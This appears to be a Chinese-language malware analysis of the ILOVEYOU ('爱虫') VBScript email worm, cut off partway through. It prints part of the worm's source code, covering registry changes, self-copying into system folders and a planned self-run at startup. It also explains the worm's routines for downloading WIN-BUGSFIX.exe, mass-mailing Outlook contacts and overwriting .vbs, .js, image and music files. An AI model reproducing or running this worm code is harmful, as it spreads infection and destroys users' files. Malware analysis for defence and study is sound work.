“爱虫(I_Loveyou)”病毒代码解析和杀毒方法.docVIP

“爱虫(I Loveyou)”病毒代码解析和杀毒方法 中国代码联盟 黄冬 李文武 　　近来在网上出现了“我爱你”病毒，让人们恐慌一时，而它在国内却没有出现 什么问题，到现在我也没有听到有哪位计算机使用者说自己被爱到至死。究其原因 是什么？而“我爱你” 病毒到底是什么？难道说是我国的计算机防毒水平和计算 机杀毒软件的水平已经到了世界领先的水平？我们来细细看看它的原因就明白其中 的道理了。另：笔者写本文完全是为了学术作用，请不要将此病毒代码用于破坏之 目的。 　　首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮件，它的主题 是“I Love You”（如果细细读读它的程序，这个主题其实可以并不是I Love You），在它的信中带有了一个叫“iloveyou.vbs ”的附件，而这个附件将是病毒 的根源。下面这段是“我爱你”病毒的所有的源代码，其中加入了我的注释（大多 数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了这些函数的说明 ，具体实现可以到函数体中去找）： Rem ======================================================================= Rem 本文件为病毒样本，供学习之用，原文件中扫描文件进行感染部分被我注释掉 了 Rem 请勿将本文件用作破坏之目的。 white (wwwasp@) hd(hd@email. ) Rem ======================================================================= On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq= ctr=0 Set fso = CreateObject(Scripting.FileSystemObject) set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject(WScript.Shell) rr=wscr.RegRead(HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout) if (rr=1) then wscr.RegWrite HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout,0,REG_DWORD end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem\MSKernel32.vbs) c.Copy(dirwin\Win32DLL.vbs) c.Copy(dirsystem\LOVE-LETTER-FOR-YOU.TXT.vbs) 上面三句将自身复制成三 个文件 regruns() 如果系统为win98，设IE的起始页为四个URL之一，以下载一个叫 WIN-BUGSFIX.exe 的文件， 并将其设为系统启动时自动执行的程序，看起来好象 是一个补丁程序 html() 为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU. HTM， 该HTML文件里包含一段JAVASCRIPT，打开时脚本被执行，病毒体被写入文 件MSKernel32.vbs, 同时被设成 系统启动时自动执行 spreadtoemail() 为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件 listadriv() 扫描整个磁盘，将后缀为.vbs, ..vbe的文件换成自身，将后缀为 .js, .jse, .css, .wsh, .sct, .hta, 的文件改后缀为vbs并写入自身，同时删 除原有文件，将后缀为.jpg,.jpeg的在文件名后加.vbs后，写入 自身，将后缀为 .mp3,mp2的文件名后加.vbs并写入自身，同时将文件属性改为隐藏文件， 如果发 现有mIRC,将改写script.ini，使得mIRC向所有频